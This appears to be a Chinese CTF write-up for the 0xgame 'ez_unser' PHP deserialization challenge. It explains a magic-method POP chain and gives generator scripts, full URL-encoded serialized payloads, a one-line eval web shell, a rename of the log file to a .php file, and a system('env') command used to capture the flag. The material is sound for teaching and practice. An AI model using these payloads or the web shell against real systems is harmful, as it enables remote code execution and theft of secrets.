0xgame ez_unser wp

之前一直以为自己会了,做了一遍还是不会,这次写的详细一点

<?php
highlight_file(__FILE__);
class Man{
    private $name="原神,启动";
    public function __wakeup() {
        echo str_split($this->name);
    }
}
class What{
    private $Kun="两年半";
    public function __toString() {
        echo $this->Kun->hobby;
        return "Ok";
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public function __get($name){
        var_dump($this->Hobby);
    }
}
class I{
    private $name="Kobe";
    public function __debugInfo(){
        $this->name->say();
    }
}
class Say{
    private $evil;
    public function __call($name, $arguments){
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil(){
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;
    }
}
class Out{
    public function __call($name,$arguments){
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}
unserialize($_POST["data"]);
Warning: Undefined array key "data" in /root/index.php on line 58

Deprecated: unserialize(): Passing null to parameter #1 ($data) of type string is deprecated in /root/index.php on line 58

解读一下

Say里面有一个$this->evil->Evil();Evil()方法在Mamba里有,我们可以得知如果evil是Mamba对象的话,可以调用Evil方法

class Say{
    private $evil;
    public function __call($name, $arguments){
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil(){
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;
    }
}

那 __call如何调用呢,查阅资料得,这个方法在对象中调用一个不可访问方法时调用 ,看到这段代码

class I{
    private $name="Kobe";
    public function __debugInfo(){
        $this->name->say();
    }
}

我们没找到say()这个方法,我们可以假象可能调用了一个不可访问方法时调用了Say里得call,那么name也就可以是Say的对象

那__debugInfo()如何被调用的?可以参考下面的文章

魔术方法toString()和debugInfo()详解 - 编程领地 - 博客园

和__tostring()方法一样,由var_dump()、print_r()打印对象体的时候,控制对象体要输出的属性和值;

也就是说,它可以被var_dump()、print_r()时被调用

class Can{
    private $Hobby="唱跳rap篮球";
    public function __get($name){
        var_dump($this->Hobby);
    }
}

找到了var_dump

那么Hobby就是I的对象

那么__get如何被调用呢

读取不可访问属性的值时,__get() 会被调用。也就是,当想要获取一个类的私有属性,或者获取一个类并为定义的属性时。该魔术方法会被调用。

也就是跟call差不多,如果访问一个不可访问的属性,会调用get

class What{
    private $Kun="两年半";
    public function __toString() {
        echo $this->Kun->hobby;
        return "Ok";
    }
}

我们看到这,在其他类并没有hobby这个属性,因此在这里自动调用了get,那么Kun就是Can

__toString如何被调用的?跟debuginfo一样

所以找到

class Man{
    private $name="原神,启动";
    public function __wakeup() {
        echo str_split($this->name);
    }
}

在这里需要输出和字符串操作的时候被调用了

__wakeup是对象建立时被自动调用的

那么我们可以进行反序列化,有两种方式

第一种,在外面反序列化,我的代码是错的,因为这种方式需要注意private,容易出错

<?php
class Man{
    private $name;
    public function __wakeup() {
        echo str_split($this->name);
    }
}
class What{
    private $Kun;
    public function __toString(){
        echo $this->Kun->hobby;
        return "Ok";
    }
}
class Can{
    private $Hobby;
    public function __get($name) {
        var_dump($this->Hobby);
    }
}
class I{
    private $name;
    public function __debugInfo(){
        $this->name->say();
    }

}
class Say{
    private $evil;
    public function __call($name, $arguments){
        $this->evil->Evil();
    }
}
class Mamba{
    public function Evil(){
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;
    }
}
class Out{
    public function __call($name,$arguments){
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}
$man = new Man();
$what = new What();
$can = new Can();
$i = new I();
$say = new Say();
$mamba = new Mamba();
$say->evil = $mamba;
$i->name=$say;
$can->Hobby=$i;
$what->Kun=$can;
$man->name = $what;
echo urlencode(serialize($man));
?>

第二种方式,在内部

<?php
class Man{
    private $name="原神,启动";
    public function __construct() {
        $this -> name = new What();
    }
}
class What{
    private $Kun="两年半";
    public function __construct()
    {
        $this -> Kun = new Can();
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public function __construct() {
        $this -> Hobby = new I();
    }
}
class I{
    private $name="Kobe";
    public function __construct() {
        $this -> name = new Say();
    }

}
class Say{
    private $evil;
    public function __construct() {
        $this -> evil = new Mamba();
    }

}
class Mamba{
}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>

__construct是对象构建执行的代码

在这里我们再回头看看Evil的逻辑,就是time()方法生成一个时间序列(不重要).log,然后我们要post一个content写入这个文件中,执行恶意代码,但问题是.log文件是不能被php系统直接解析的

class Mamba{
    public function Evil(){
        $filename=time().".log";
        file_put_contents($filename,$_POST["content"]);
        echo $filename;
    }
}

我们看到下面,这里的意思其实就是给文件改名,我们可以改后缀名改成php,通过o和n,所以这里我们也需要反序列化

class Out{
    public function __call($name,$arguments){
        $o = "./".str_replace("..", "第五人格",$_POST["o"]);
        $n = $_POST["n"];
        rename($o,$n);
    }
}
```php
<?php
class Man{
    private $name="原神,启动";
    public function __construct() {
        $this -> name = new What();
    }
}
class What{
    private $Kun="两年半";
    public function __construct()
    {
        $this -> Kun = new Can();
    }
}
class Can{
    private $Hobby="唱跳rap篮球";
    public function __construct() {
        $this -> Hobby = new I();
    }
}
class I{
    private $name="Kobe";
    public function __construct() {
        $this -> name = new Out();
    }

}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>

我们可以conten里塞入一些代码让他执行

post:

data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&content=<?php eval($_POST['shell'])?>

这里shell就是我们后面需要post的恶意代码,然后给文件改名

image-20241022152007113

data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&o=1729583168.log&n=niubi666.php

在上传shell的内容,找到flag

这也是一句话木马

挺好玩的

image-20241022162452966

第二种方法获取环境变量

post:

shell=system('env')